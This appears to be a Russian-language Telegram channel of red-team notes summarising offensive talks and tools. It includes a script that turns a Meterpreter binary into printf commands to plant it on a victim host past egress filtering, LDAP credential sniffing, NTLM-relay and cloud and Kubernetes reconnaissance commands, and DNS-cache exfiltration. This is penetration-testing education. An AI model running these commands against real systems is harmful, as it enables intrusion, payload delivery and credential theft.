vflame6
35 subscribers
19 photos
1 video
1 file
50 links
Заметки про Offsensive Security

Блог: https://vflame6.github.io/
Автор канала: @vflame9
Download Telegram
📎 Передаем бинари через побайтовую запись

Представим ситуацию, у нас есть исполнение кода на UNIX-like хосте. Мы хотим запивотиться через него с помощью одного из наших инструментов и нам нужно залить бинарник с агентом или прокси. Но есть проблема - egress трафик в нашу сторону заблокирован, а инструментов для bind-коммуникации типо netcat на хосте нет.

Решением может стать побайтовая запись исходного файла через доступную нам оболочку на жертве. Это можно сделать через команду printf и оператор дозаписи в файл >>.

Со своей стороны нам нужно подготовить последовательность байтов из нашего бинарника, которые будем записывать на жертве. Для примера можно взять следующий скрипт:

cat met.elf | od -An -t o1 -v | tr ' ' '/' | while read line
do echo "printf '$line' >> out.bin" | tr '/' '\\'
done


Полученный вывод (как на скриншоте) мы копируем и исполняем на жертве. Так у нас появляется работающий бинарник, буквально собранный по байтам.

Таким образом, имея возможность исполнять команды на UNIX-like хосте, мы можем загружать и исполнять наши нагрузки без какой-либо “прямой” передачи файла по сети.

#notes
🎞 OPSEC Fundamentals for Remote Red Teams

Атакующие в работе формата Red Team могут столкнуться с обнаружением не только со стороны команды защищающихся, но и сервисов от специализированных компаний и Threat Intelligence. А также с попытками атак со стороны других атакующих, охотящихся за легкими доступами.

Автор рассказывает, какая информация доступна защищающимся и что делать атакующим, чтобы оставаться незамеченными как можно дольше, а также не допускать утечек информации. И как превратить эти действия в процесс и вписать в текущую работу команды.

Разобрана работа на разных уровнях: локальная рабочая станция, IP-адреса источника, third-party сервисы, инфраструктура в интернете и тестирование новых инструментов. Показаны типичные ошибки и примеры их исправления.

Ссылка на доклад (YouTube)

#speech
📎 Sniff LDAP for Fun and Profit

На проектах можно столкнуться с сценарием, когда у нас есть только доступ к сети цели, например розетке. И стоит задача получить как можно больший доступ к домену, привилегиям и системам без какой-либо дополнительной информации.

Одним из векторов для получения доступа к домену может стать MitM-атака для перехвата учетных данных жертвы по LDAP. Если у жертвы не раскатано на домен требование на использование TLS/SSL в LDAP, то мы либо просто увидим нешифрованный трафик между клиентом и сервером, либо сможем использовать downgrade-атаку на клиента.

tcpdump -i eth0 -w tsss -G 300 -W1 -port 389


Перехватив учетные данные, мы можем идти за информацией о домене напрямую. Например с помощью LDAPDomainDump. Этот инструмент умеет собирать и парсить информацию о домене и выдавать отчеты в виде читаемого HTML, а также json/csv/tsv/grep для последующей обработки.

ldapdomain dump -u 'domain\user' -p 'pass' -o file <dc>


Это один из способов получения доступа к домену нашей цели, просто находясь в ее сети. Теперь мы имеем возможности для дальнейшего продвижения и развития атаки.

#notes
🎞 Регионы памяти, или Как я не туда шеллкод загрузил

Все чаще в сети мелькает информация про выполнение кода в памяти, внедрение шеллкода, BYOI-методы. Может показаться, что почти все проблемы с антивирусами могут решиться, если найдется способ помещения нагрузки в память. Действительно, раньше это было отличной панацеей, но времена меняются. Современные антивирусы научились определять и обнаруживать в том числе ранее неизвестные угрозы путем анализа регионов памяти.

В докладе пойдет речь о том, насколько важно учитывать и определять верное место для полезной нагрузки, как предотвратить множество детектов антивирусом и как атакующему оставаться скрытым от глаз защитных средств. Рассмотрены различные методы внедрения, используя как популярные Mapping Injection, Function Stomping, Transacted Hollowing, так и более изощренные варианты, основанные на злоупотреблении фабричным способом инстанцирования COM-объектов. Помимо прочего, исследуем артефакты, возникающие в регионах, и найдем ответ на вопрос «Куда помещать шеллкод при инъекциях?».

Ссылка на доклад (YouTube)

#speech
⚙️ PowerView на Python

PowerView[.]py - это альтернатива замечательному оригинальному скрипту PowerView.ps1. Большинство модулей, используемых в PowerView, доступны здесь (некоторые флаги изменены). Основная цель - добиться интерактивной сессии без необходимости многократной аутентификации в ldap.

Для использования сначала инициализируем сессию с LDAP-сервером. Доступны разные способы аутентификации, в том числе по сертификатам.


powerview range.net/lowpriv:Password123@192.168.86.192


Далее мы можем использовать знакомые командлеты PowerView, список реализованных командлетов есть в репозитории. Вывод любого командлета можно отправить в файл через флаг -OutFile. Также доступна фильтрация результатов и преобразование вывода в таблицы.


Get-DomainUser -Identity Administrator
Get-DomainUser -OutFile ~/domain_user.txt
Get-DomainUser -Where 'samaccountname [contains][in][eq] admins'
Get-DomainUser -Properties samaccountname,memberof -TableView


Инструмент поддерживает relay-режим для атак вида ntlm-relay. После прохождения аутентификации также устанавливается сессия и можно выполнять различные команды.


powerview 10.10.10.10 --relay [--relay-host] [--relay-port] [--use-ldap | --use-ldaps]


Таким образом, мы можем сохранить и использовать функционал PowerView прямо на своей локальной машине. Но в трафике это может выглядеть, как “какой-то незадокументированный хост с именем kali пришел в наш LDAP”. Для избежания такой ситуации рекомендую соблюдать правила OPSEC для локального хоста, а в идеале проксироваться через легитимный.

Ссылка на инструмент (GitHub)

#tools
🎞 DevOps for Red Team Initial Access Operations

В этом докладе рассказывается о некоторых проблемах разработки вредоносного ПО для операций первоначального доступа Red Team и о том, как конвейеры непрерывной интеграции/непрерывной разработки (CICD) могут быть использованы для решения этих проблем.

В начале презентации будут представлены некоторые из известных техник, используемых современным программным обеспечением для защиты конечных точек, а затем будет описано, как подход CICD может быть использован для создания уникальных артефактов вредоносного ПО для обхода и успешного проведения операций первоначального доступа.

Ссылка на доклад (YouTube)

#speech
⚙️ Custom Command & Control (C3)

C3 (Custom Command and Control) - это инструмент, позволяющий редтимерам быстро разрабатывать и использовать кастомные каналы взаимодействия с C2.

Фреймворк позволяет расширять возможности уже известных C2-серверов, например в связке с Cobalt Strike ExternalC2. Можно реализовывать свои каналы коммуникаций, внедрение в процессы и поведение имплантов на стороне жертвы. Также для кастомных каналов можно разработать и внедрить listener-ы на уже захваченных машинах.

В коде уже реализованы external- и internal- каналы коммуникации, такие как Mattermost, GitHub и Discord для external, и MSSQL для internal. Для работы самого сервера доступен WebController, работающий с API-ключами. Подробнее про работу с C3 можно почитать в Operational Guide.

Такой подход позволит красной команде реализовывать собственные, нетипичные разработки для операций наступательной безопасности. При этом сохраняется эффективность и удобство уже знакомых C2-серверов. Появляется возможность внедрять собственные тактики, техники и процедуры.

Ссылка на инструмент (GitHub)

#tools
🎞 Вам письмо: старые новые атаки на почту

Доклад о том, как старые неразрешенные вопросы реализации и клеймо «легаси» повлияли на уязвимость современной электронной почты к внедрению кода.

Разобраны особенности работы почты и основных почтовых протоколов, а также виды внедрения кода в почтовую функциональность и возможности имперсонации в крупных почтовых сервисах.

Ссылка на доклад (YouTube)

#speech
⚙️ k8spider. Разведка в кластере Kubernetes

Инструмент будет полезен на этапе разведки внутри инфраструктуры Kubernetes, после первичного проникновения в под внутри кластера. С его помощью мы можем определить другие работающие поды и сервисы в кластере. Используются техники разведки с использованием запросов к DNS-серверу кластера Kubernetes.

k8spider использует несколько техник для сбора информации изнутри:

▫️ Service ip-port BruteForcing. Делает SRV-запросы по доменным именам для получения сервисов;
▫️ AXFR Domain Transfer Dump. Делает AXFR-запрос по заданной зоне;
▫️ Coredns WildCard Dump. Делает wildcard-запрос по заданной зоне (any.any.svc. + zone);
▫️ Pod Verified IP discovery. Делает PTR-запросы по IP-адресам для получения доменных имен.

С помощью этих техник инструмент получает IP-адреса, доменные имена и порты сервисов, работающих в кластере. А мы используем эту информацию для, например, подключения к базе данных или другого сервиса.

Для примера приведена работа инструмента в режиме all-in-one (all). Также мы можем использовать точечные техники (другие режимы) и настраивать область поиска, например задать CIDR с флагом -c.


# in kubernetes pods
root@pod:~# echo $KUBERNETES_SERVICE_HOST
# if KUBERNETES_SERVICE_HOST is empty, you can use the following command to set it.
# export KUBERNETES_SERVICE_HOST=x.x.x.x
# or ./k8spider -c x.x.x.x/16 all

root@pod:~# ./k8spider all
INFO[0000] PTRrecord 10.43.43.87 --> kube-state-metrics.lens-metrics.svc.cluster.local.
INFO[0000] PTRrecord 10.43.43.93 --> metrics-server.kube-system.svc.cluster.local.
INFO[0000] SRVRecord: kube-state-metrics.lens-metrics.svc.cluster.local. --> kube-state-metrics.lens-metrics.svc.cluster.local.:8080
INFO[0000] SRVRecord: metrics-server.kube-system.svc.cluster.local. --> metrics-server.kube-system.svc.cluster.local.:443
INFO[0000] {"Ip":"10.43.43.87","SvcDomain":"kube-state-metrics.lens-metrics.svc.cluster.local.","SrvRecords":[{"Cname":"kube-state-metrics.lens-metrics.svc.cluster.local.","Srv":[{"Target":"kube-state-metrics.lens-metrics.svc.cluster.local.","Port":8080,"Priority":0,"Weight":100}]}]}


Таким образом, оказавшись в инфраструктуре Kubernetes, мы сможем быстро определить, что находится вокруг. Это позволит нам найти вектора для горизонтального или вериткального прдвижения в кластере и инфраструктуре в общем.

Ссылка на инструмент (GitHub)

#tools
🎞 System Calls for Hackers

Для написания вредоносов под Windows используются различные вызовы функций операционной системы. Такой подход позволяет вредоносам быть похожими на обычные программы, а не использовать пользовательский cmd /c. В видео автор показывает разницу между вызовами верхнеуровневых функций из Kernel32.dll и низкоуровневых системных вызовов из ntdll.dll на примере кода для создания файла.

Разобран процесс поиска и определения нужных функций и структур, а также показан перехват сделанных вызовов и параметров. Хороший материал для начинающих в MalDev.

Ссылка на видео (YouTube)

#speech
⚙️ SploitScan. Поиск эксплойтов и всего с ними связанного

В ходе пентеста инфраструктуры часто встречаются сервисы с известными и уязвимыми версиями софта. Такие вещи в первую очередь проверяются на недавние (а иногда и очень старые) CVE, которые способны дать импакт для текущего тестирования (пробива).Но обработка самих этих CVE затрудняется, потому что приходится по одному искать и обрабатывать детальную информацию об импакте уязвимости, как ею пользоваться и доступные эксплойты. С этим нам может помочь инструмент SploitScan.

SploitScan - это мощный и удобный инструмент, предназначенный для упрощения процесса выявления эксплойтов для известных уязвимостей. По факту он агрегирует множество источников об уязвимостях и предоставляет все это нам для дальнейшей обработки в красивом интерфейсе.

Инструмент поддерживает много разных фичей, рассказывающих об уязвимостях и эксплойтах со всех сторон. Неполный список:

▫️ Поиск информации о CVE: Получает сведения о CVE из NVD;
▫️ Интеграция с EPSS: Включает данные Exploit Prediction Scoring System (EPSS), предлагая оценку вероятности эксплуатации CVE, что помогает в определении приоритетов.
▫️ Агрегация публичных эксплойтов: Собирает общедоступные эксплойты, улучшая понимание уязвимостей.
▫️ CISA KEV: показывает, был ли CVE внесен в список известных эксплуатируемых уязвимостей (KEV) CISA.
▫️ Оценка рисков с помощью ChatGPT: Использует OpenAI для предоставления подробной оценки рисков, сценариев потенциальных атак, рекомендаций по снижению рисков и резюме.
▫️ Отчеты HackerOne: Показывает, использовался ли CVE в программах HackerOne Bug Bounty, включая общий ранг и распределение серьезности.

Перед началом работы следует добавить свои API-ключи для сервисов VulnCheck и OpenAI, с которыми инструмент пойдет за информацией, файл config.json. Далее мы запускаем инструмент и скармливаем ему нужный нам CVE-ID. Также доступен импорт из популярных сканеров уязвимостей и вывод в разные форматы: json, csv, html, …


# single CVE query
sploitscan CVE-2024-1709

# import from vulnerability scanner
sploitscan --import-file path/to/yourfile.nessus --type nessus

# export results
sploitscan CVE-2024-1709 -e html


Инструмент упрощает поиск векторов для эксплуатации и дальнейшее написание отчета, благодаря автоматическому походу в ChatGPT за водой для отчета детальной информацией об уязвимости. Таким образом, мы можем ускорить процесс поиска и разработки векторов для эксплуатации инфраструктуры заказчика.

Ссылка на инструмент (GitHub)

#tools
🎞 Кто стучится в почту? Social engineering 2024

Недавно я выкладывал доклад о TTPs в рамках социальной инженерии на проектах. Теперь хочу поделиться продолжением от того же автора с недавнего PHDays.

В рамках этого доклада спикер расскажет о разновидностях полезной нагрузки, которые не попали в материал прошлого выступления, но являются не менее востребованными и актуальными как эффективные векторы для получения первоначального доступа.

Прошлый материал дополняется обсуждением таких методов, как PDF или SVG smuggling, PDF polyglot, PDF luring, входящих в арсенал полезной нагрузки и векторов для фишинга в дикой природе.

Ссылка на доклад (YouTube)

#speech
⚙️ GCPwn. All-in-one инструмент для эксплуатации GCP

GCPwn - инструмент, созданный в процессе изучения Google Cloud Platform и использующий новые клиентские библиотеки GRPC, созданные Google. Он состоит из множества модулей для разведки и эксплуатации внутри инфраструктуры GCP.

Инструмент позиционируется как универсальный для тестирования GCP. В нем содержатся типовые скрипты для автоматизации известных TTP, так и результаты исследований в виде модулей эксплойтов.

GCPwn сохраняет все полученные данные и политики для ролей по мере выполнения модулей. Это упрощает организацию и отслеживание имеющихся прав в инфраструктуре. Также некоторые модули в инструменте работают на уже полученных данных в ходе разведки.

Для примера приведу примеры команд для разведки и поиска векторов эксплуатации. Для начала можно запустить все модули для разведки в Identity Access Management (IAM):


# Quickest: Run all enumeration modules + testIAM Permissions
modules run enum_all --iam

# Longer + Downloads: Run all enumeration modules + testIAM Permissions including ~9000 for projects/folder/org + download everyting
modules run enum_all --iam --all-permissions --download


Далее, на основе полученных политик ролей, можно запустить модули поиска векторов эксплуатации и повышения привилегий из контекста текущей учетной записи:


# Review Permissions User Has Thus Far
creds info

# Return Policy Summary from IAM Bindings if Applicable
modules run process_iam_bindings [--txt] [--csv]

# Analyze IAM Bindings + Other Items (like allUsers) if Applicable
modules run analyze_vulns [--txt] [--csv]


Для начала изучения работы с gcpwn можно ознакомиться с докладом об инструменте на недавно прошедшем fwd:cloudsec 2024.

Ссылка на инструмент (GitHub)

#tools
🎞 Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting

В докладе автор делится опытом исследования процесса десериализации объектов PowerShell Remoting в MS Exchange. Это исследование основано на нашумевшем эксплойте ProxyNotShell и развивает его идею атаки на десериализацию объектов. В результате - огромное количество CVE от RCE до DOS с несколькими успешными и безуспешными итерациями патча этих уязвимостей.

Показаны механизмы и вектора для эксплуатации с примерами уязвимого исходного кода на C#. Также автор показывает границу его исследования и возможности по развитию еще не исследованных векторов для атаки.

Ссылка на доклад (YouTube)

#speech
📎 DNSFS. Сохраняем свои данные в кеше DNS-серверов

Некоторые исследователи задаются вопросом, а где в Интернете можно сохранить свои данные за бесплатно? Желательно на уровне протокола, изначально не предполагающего такого использования.

Сначала предложили использовать протокол ICMP и его ping-функционал, появился инструмент PingFS. Он сохраняет данные за счет предположения, что принимающая сторона должна отправить эти самые данные в ответе на ping-запрос. Но практического применения у такого подхода не нашлось, так как нужно было бесконечно отправлять-принимать данные без гарантии, что где-то в Интернете пакет не дропнется.

Далее пришла идея использовать DNS, а именно функционал кеширования в DNS-серверах. Нам известно, что DNS-сервера кешируют свои ответы для увеличения производительности и доступности. Получив запрос от клиента, сервер отдаст ему ответ и закеширует его в памяти для следующего такого запроса. Причем сам запрос может быть любым, в том числе TXT-записи с текстовым форматов данных.

Для этого нужно было найти много публичных DNS-серверов, которые могут резолвить публичные доменные имена, а не ограничены только внутренним доменом. Для этого автор отсканировал часть интернета по порту 53 со специфичным запросом на доменное имя. Далее нужно было отсеять DNS-сервера с динамическими IP-адресами.

Получив список долго-живущих DNS-серверов, исследователь начал выяснять, какое количество и насколько долго можно хранить свои данные в кеше сервера, делая разные по времени и количеству данных запросы. По итогу получился список из 400 тысяч DNS-серверов, позволяющих в течении дня сохранить в себе по 9 TXT-запросов по 187 байт информации. В итоге получился инструмент DNSFS, обеспечивающий работу этой концепции.

Код DNSFS представляет собой относительно простую систему: каждый загруженный файл разбивается на фрагменты по 180 байт, и эти фрагменты «устанавливаются» в кэш путем запроса к узлу DNSFS через публичный резолвер для TXT-записи. Резолвер приходит на мастер-сервер за записью, отдают клиенту и кешируют запись. Через несколько секунд данные удаляются из памяти DNSFS, и они больше не находятся на мастер-сервере.

Чтобы распределить нагрузку на хранилище, в запросе имя файла и номер чанка хэшируются, а затем балансируются по списку резолверов, чтобы обеспечить достаточно справедливое распределение.

Пример использования DNSFS для загрузки и скачивания файла:


# upload
curl --data-binary @file.txt DNSFS_IP:PORT/upload?name=file
# download
curl DNSFS_IP:PORT/fetch?name=file > file.txt


Таким образом, мы можем использовать сервера DNS как облачное хранилище за бесплатно. Также мы буквально можем эксфильтровать данные на открытые легитимные DNS-сервера, но это уже совсем другая история…

Ссылка на исследование

Ссылка на инструмент (GitHub)

#notes
🎞 Red Team IoT Tactics

Физические девайсы часто используются в Red Teaming кампаниях для получения первоначального доступа и закрепления в сети жертвы. Обычно для таких целей используются коммуникации через GSM или Wi-Fi. Но здесь есть проблема, что серьезные заказчики умеют отслеживать (и глушить) такие коммуникации внутри защищаемых объектов.

В докладе автор задается вопросом, а что если мы будем использовать более низкие частоты? Мы получим возможность использовать бОльшие расстояния, но с меньшей скоростью. Это прекрасная возможность для операций Command&Control и для этого уже есть работающие протоколы, например ZigBee и LoRa для IoT-устройств. Эти протоколы позволяют использовать частоты в пределах 900 MHz и решений для отслеживания нелегитимного использования таких частот по сути нет, тем более что немногие следят за Wi-Fi. В докладе автор показывает пример управления USB Rubber Ducky, отправляя ему команды через протокол LoRa и частоты RFM95.

Также автор затронул недавно вышедший стандарт IEEE 802.11ah (HaLow), работающий на частотах 902-928 MHz. Он позволяет передавать информацию со скоростью до 80 МБит/сек на расстояние больше 1 км (!). Подробнее о протоколе можно почитать в статье на Хабре. В продаже уже есть сетевые карты для работы с HaLow, например ALFA Network WiFi HaLow HAT, но размеры пока что великоваты (6x8 см).

Подробнее о теме использования можно прочитать в дополняющейся серии статей Offensive IoT for Red Team Implants, где объясняются технические детали и приведены примеры на попробовать :).

Ссылка на доклад (YouTube)

#speech
📎 Vulnerabilities in Open Source C2 Frameworks

Сегодня хочу поделиться интересным исследованием про уязвимости в популярных Command&Control фреймворках.

Вы когда-нибудь задумывались, а что такое вообще C2-фреймворк? У нас есть какой-то сервер или C2, принимающий подключения. Есть агенты или жертвы, подключающиеся к С2 и обменивающиеся с ним данными. А еще есть оператор или клиент, взаимодействующий с агентами через интерфейс C2.

А что из себя представляют эти сервер, агент и клиент? На самом деле это такие же программы, принимающие input и возвращающие output. Получается, что в них также могут быть уязвимости, например из-за отсутствия валидации ввода пользователя? Да, все так и есть.

Авторы разбирают уязвимости в различных частях фреймворков, от оператора (клиента), самого сервера (C2) и до агента (victim). Например:

▫️ CVE-2024-6127: агент компрометирует C2, позволяя записывать файлы на сервере;
▫️ CVE-2022-39197: агент компрометирует оператора, отображая в его UI вредоносный код;
▫️ CVE-2024-41111: оператор компрометирует C2, получая RCE на сервере;
▫️ CVE-2023-34758: внешний нарушитель перехватывает контроль над агентом из-за слабой криптографии;
▫️ HavocExploit: внешний нарушитель DOS-ит сервер C2.

Эти уязвимости могут иметь разный импакт на инфраструктуру, но их наличие может сорвать всю Red Team операцию, еще до ее начала.

Важно понимать, что C2-фреймворки являются таким же ПО и они могут содержать в себе уязвимости. Атакующим следует думать о защите своей инфраструктуры, закрывая сервера за редиректорами и вводя системы отслеживания доступов к инфраструктуре (как насчет blue team для red team?). Будет иронично увидеть открытый шелл на своем Team Server 🫡.

Ссылка на исследование

Ссылка на репозиторий с PoC (GitHub)

#notes